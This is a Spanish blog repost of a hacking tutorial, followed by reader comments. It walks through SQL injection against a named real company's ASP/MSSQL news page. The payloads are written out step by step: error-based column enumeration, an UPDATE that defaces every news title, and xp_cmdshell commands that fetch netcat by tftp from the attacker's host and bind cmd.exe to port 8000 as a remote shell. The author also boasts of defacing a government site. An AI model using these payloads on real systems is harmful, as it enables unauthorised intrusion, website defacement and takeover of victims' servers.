Un articulo muy interezante que encontre , al final dejo el link saludos
//////////////////////////////////////////////////////////////////////////////////////
Bien, hacia tiempo que no sacaba una nueva entrega del curso…siento el retraso..
ia sabeis k a mi los problemas personales me llueven…pero sobrevivo…en fin
se meh a ocurrido que seria interesante explicar una tecnica que muchos creen que no sirve de muchos mas que hackear foros phpbb, i con la cual, ya he sacado shell en sistemas, defaceado webs tan importantes como la del govierno de mi pais etc…
sql injection, pero k es?
vereis, voi a tratar de explicar en que consisten los sql injection…durante el manual me voi a referir a paginas en asp con una base de datos MSSQL.
los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize consultas a la base de datos de la pagina vulnerable.
el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)
asi que veamos…como saber si una web es vulnerable a sql injection?
bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas parecidas.
http://www.compolaser.com/
hace unos dias entre a esta web, i me dije: voi a hacer algo aki…
el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se hubiese puesto a escanear, sin embargo se me ocurrio algo distinto…
por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting, k lo vimos en la entrega anterior)
asi k vi k havia una seccion noticias…i k recivia un dato a traves de la url…
http://www.compolaser.com/Noticias.asp?Id=54
donde 54 es el numero de la noticia…una vez vi esto ia me di cuenta que seguro k esta web tenia una base de datos i k usaba IIS i seguramente mssql, asi k probé:
http://www.compolaser.com/Noticias.asp?Id=’
i sucedio lo siguiente:
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′
Comilla no cerrada antes de la cadena de caracteres ‘ ORDER BY fecha DESC;’.
/Noticias.asp, line 24
wou! tenemos un sql injection en esta pagina…pero como lo se?
vereis, la pagina lo que ha echo es:
Select * from Noticias where id = ID ORDER BY fecha DESC
seria algo parecido a esto, ID representa el numerito que le pasamos por la url
(en sql el caracter ‘ delimita el principio o el final de una cadena)
cuando nosotros hicimos:
http://www.compolaser.com/Noticias.asp?Id=’
la sentencia final kedo asi:
Select * from Noticias where id = ‘ ORDER BY fecha DESC
aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que no cerramos la comilla…
bueno…esto nos lleva a pensar…ostia, podemos modificar la sentencia? entonces podemos alterar la base de datos no? la respuesta es si.
veamos…lo primero que deberiamos hacer es averiguar como se estructura la base de datos, es decir:
como se llama la tabla que contiene informacion de las noticias?
y que registros tiene?
bien, solo se trata de hacer las preguntas correctas:
http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–
esto provocara un error en mssql que nos desvelara que la tabla se llama:
Noticias
y que el primer registro es: id
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′
La columna ‘noticias.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.
/Noticias.asp, line 24
interesante…si kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif
el “–” al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los comentarios son: //)
seguimos desvelando:
http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–
hemos echo:
group by Noticias.id having 1=1–
por k Noticias.id? por k es el primer registro…
seguimos averiguando:
http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–
bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro llamado:
noticias.Resumen
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′
La columna ‘noticias.Resumen’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.
/Noticias.asp, line 24
podriamos ir sacando mas i mas registros asi:
group by noticias.id, noticias.titulo having 1=1–
i asi, añadiendo con comas lo k nos va diciendo, llegariamos al final…pero de momento nos conformamos con modificar el titulo, pero como modificamos Noticias.titulo?
bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de una tabla, se usa asi:
update tabla set registro=’nuevo valor’
pues bien, es facil saber que hacer ahora:
update noticias set titulo = ‘hackeados por jocanor’
i como hay k hacer k el resto sea un comentario:
update noticias set titulo = ‘hackeados por jocanor’–
asi k la sentencia final seria:
http://www.compolaser.com/Noticias.asp?Id=…0jocanor’–
y tachan tachan! si entrais a:
http://www.compolaser.com/Noticias.asp
vereis k todos los registros noticias.titulo han sido defaceados xD
como sacar shell con sql injection?
esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar…
vereis, mssql tiene unos scripts para ejecutar cosas etc…asi k jugaremos con uno de esos scripts, para ejecutar cualkier comando de ms-dos:
; exec master..xp_cmdshell ‘ping 10.10.1.2′–
esto haria un ping a 10.10.1.2.
asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es 1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)
hacemos:
exec master..xp_cmdshell ‘tftp -i 1.2.3.4 get nc.exe C:nc.exe’–
exec master..xp_cmdshell ‘c:nc.exe l p 8000 e cmd.exe’ -
ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif
bueno, este articulo era de nivel avanzado, lo siento por los muy newbies, pero la gente con nivel medio me pedia k pusiera algo interesante i de nivel, la proxima entrega sera para los principiantes, lo prometo.
FUENTE:http://allabouthack.wordpress.com/2007/11/01/como-hackear-6-sql-injection-y-defaces/
3 comentarios:
ésto no es nivel avanzado
Vaya! me alegra ver un post de mi sitio aquí y además respetando derechos. Por lo que puedo ver es un buen blog buen contenido y esta bien señalizado aunque para mi gusto sin que sienta mal el estilo del blog algo simple personalizalo y hazlo único si es llamativo impacta en la gente . Gracias.
Nabster.
anonimo , no es avanzado como vos dices :D.
Allabouthack yo siempre he respetado los derechos de autor , personalmente son muy pocos los articulos hechos por mi ya que el tiempo no alcanza pero si aveces queda tiempo para investigar y aqui plasmo lo investigado para ahorrar tiempo en alguna busqueda futura.
El diseño si es ambiguo y simple lo cual me describe perfectamente xD, un robot es simple solo hace lo que le dicen, pero el punto es que lo importante es lo interior mas no la fachada y por lo tanto es obvio que no busco atraer gente por fachadas sino por el contenido.
(el blog nacio como investigacion personal)pero he visto que muchas personas lo siguen y eso me alegra.
saludos y gracias por estar aqui
Publicar un comentario